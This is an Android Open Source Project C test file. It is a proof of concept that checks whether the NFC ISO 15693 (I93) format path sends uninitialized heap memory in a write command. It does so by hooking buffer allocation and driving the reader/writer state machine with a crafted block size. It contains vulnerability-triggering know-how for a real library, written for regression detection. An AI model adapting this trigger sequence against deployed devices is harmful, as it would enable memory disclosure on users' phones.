1 /*
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <stdlib.h>
18 #include "../includes/common.h"
19 #include "../includes/memutils.h"
20
21 char enable_selective_overload = ENABLE_NONE;
22 bool kIsVulnerable = false;
23
24 // This PoC is only for 64-bit builds
25 #if _64_BIT
26 #include <dlfcn.h>
27 #include <nfc_api.h>
28 #include <nfc_int.h>
29 #include <rw_int.h>
30 #include <tags_defs.h>
31 #define DEFAULT_VALUE 0xBE
32 #define RW_I93_FORMAT_DATA_LEN 8
33
34 // borrowed from rw_i93.cc
35 extern tRW_CB rw_cb;
36 extern tNFC_CB nfc_cb;
37 void rw_init(void);
38 tNFC_STATUS rw_i93_select(uint8_t *p_uid);
39
40 bool kIsInitialized = false;
41 void *kVulnPtr = nullptr;
42 uint16_t kVulnSize = 0;
43
44 static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(uint16_t block_number,
45 uint8_t *p_data) = nullptr;
46
47 static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
48 static void (*real_GKI_freebuf)(void *ptr) = nullptr;
49
init(void)50 void init(void) {
51 real_rw_i93_send_cmd_write_single_block =
52 (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(RTLD_NEXT,
53 "_Z34rw_i93_send_cmd_write_single_blocktPh");
54 if (!real_rw_i93_send_cmd_write_single_block) {
55 return;
56 }
57
58 real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
59 if (!real_GKI_getbuf) {
60 return;
61 }
62
63 real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
64 if (!real_GKI_freebuf) {
65 return;
66 }
67
68 kIsInitialized = true;
69 }
70
GKI_getbuf(uint16_t size)71 void *GKI_getbuf(uint16_t size) {
72 if (!kIsInitialized) {
73 init();
74 }
75 void *ptr = nullptr;
76 if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
77 ptr = malloc(size);
78 memset(ptr, DEFAULT_VALUE, size);
79 kVulnPtr = ptr;
80 kVulnSize = size;
81 } else {
82 ptr = real_GKI_getbuf(size);
83 }
84 return ptr;
85 }
86
GKI_freebuf(void * ptr)87 void GKI_freebuf(void *ptr) {
88 if (!kIsInitialized) {
89 init();
90 }
91 if (ptr == kVulnPtr) {
92 free(ptr);
93 } else {
94 real_GKI_freebuf(ptr);
95 }
96 }
97
rw_i93_send_cmd_write_single_block(uint16_t block_number,uint8_t * p_data)98 size_t rw_i93_send_cmd_write_single_block(uint16_t block_number, uint8_t *p_data) {
99 if (!kIsInitialized) {
100 init();
101 }
102 if (p_data == kVulnPtr) {
103 for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
104 if (p_data[n] == DEFAULT_VALUE) {
105 kIsVulnerable = true;
106 break;
107 }
108 }
109 }
110 return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
111 }
112
113 #endif /* _64_BIT */
114
main()115 int main() {
116 // This PoC is only for 64-bit builds
117 #if _64_BIT
118 enable_selective_overload = ENABLE_ALL;
119 tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
120
121 GKI_init();
122 rw_init();
123
124 uint8_t p_uid = 1;
125 if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
126 return EXIT_FAILURE;
127 }
128
129 tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
130 tNFC_CONN_EVT event = NFC_DATA_CEVT;
131 p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
132
133 tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
134 if (!p_data) {
135 return EXIT_FAILURE;
136 }
137
138 p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
139 if (!(p_data->data.p_data)) {
140 free(p_data);
141 return EXIT_FAILURE;
142 }
143
144 (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
145 p_i93->state = RW_I93_STATE_FORMAT;
146 p_i93->block_size = 7;
147 p_data->status = NFC_STATUS_OK;
148
149 p_cb->p_cback(0, event, p_data);
150
151 free(p_data);
152 enable_selective_overload = ENABLE_NONE;
153 #endif /* _64_BIT */
154 return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
155 }
156